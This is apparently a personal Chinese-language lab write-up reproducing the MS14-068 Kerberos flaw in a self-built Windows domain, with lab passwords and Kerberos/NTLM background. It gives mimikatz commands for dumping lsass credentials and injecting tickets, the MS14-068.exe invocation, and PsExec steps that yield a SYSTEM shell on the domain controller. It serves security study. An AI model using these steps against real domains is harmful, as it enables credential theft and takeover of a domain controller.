MS14-068复现
域环境搭建
DC:Windows Server 2008 R2
- 域计算机名:DC
- 域名:yyz.com
- 密码xy10xy10
- 目录还原模式的Administrator密码Xy10xy10
- 域用户登录名密码testuser / Xy10xy10
域成员:windows 7
- 计算机名:win7
- 域成员名:win7
- 密码:xy10xy10
域知识补充
身份认证机制
NTLM
- 挑战(Challenge)/响应(Response)机制
- 域环境认证
- hash传递攻击
Kerberos
基于票据的认证方式(Ticket)
涉及到的专有名词:
KDC(Key Distribution Center):秘钥分发中心
KAS(Kerberos Autentication Service):Kerberos认证服务
TGT(Ticket Granting Ticket):认购权证
TGS(Ticket Granting Service):票据授予服务
ST(Service Ticket):服务票据
认证过程如下:
- 先获取TGT
- 再获取ST
- 使用票据访问服务
kerberos协议缺陷:
Pass The Ticket(票据传递攻击)
抓取hash
使用mimikatz模拟一次抓取明文或者hash(在windows server 12过后只能抓取hash不能抓取明文密码)
需要使用管理员权限打开才能提权成功
windows的登录采用NTLM认证机制:
winlogon.exe —> lsass.exe –>明文储存在内存中然后hash和SAM(C:\Windows\System32\config\SAM)对比
mimikatz提权后可以debug内存中,从而抓取到lsass.exe储存在内存中的密码明文
基本命令
命令 | 说明 |
---|---|
privilege::debug | 提权进行后面的操作 |
log | 生成log文件 |
sekurlsa::logonPasswords | 抓取密码或者hash |
kerberos::purge | 清空当前机器中所有凭证 |
kerberos::list | 查看当前机器凭证 |
kerberos::ptc 票据文件 | 将票据注入到内存中 |
漏洞利用
先systeminfo查看是否有KB3011780 补丁,如果有,那么漏洞不能利用成功
使用MS14-068生成TGT票据
MS14-068是用python2写的exp,需要靶场机器有python2环境,为了更适用于所有机器,所以用变编译好的MS14-068.exe
MS14-068.exe -u Administrator@yyz.com -s S-1-5-21-1951627435-1925261942-12349237-500 -d yyz.com -p xy10xy10
如果成功的话,将会生成:
TGT_testuser@yyz.com.ccache
票据文件
注入票据文件
kerberos::purge
kerberos::list
kerberos::ptc C:\Users\Administrator\Desktop\mimikatz\x64\TGT_testuser@yyz.com.ccache
kerberos::list
成功则会看到Injecting ticket :OK关键字眼
票据注入成功,可以在cmd里面运行klist查看
利用成功
注意,要用管理员运行cmd
dir \\DC.yyz.com\c$
获取持续shell且为system权限
PsExec64.exe \\DC.yz.com cmd.exe
关于漏洞原理确实看不太懂,只知道跟kerberos认证机制有很大的关系
比起单纯的复现漏洞,这个漏洞可以配合域控靶场来实践,可能印象比较深刻。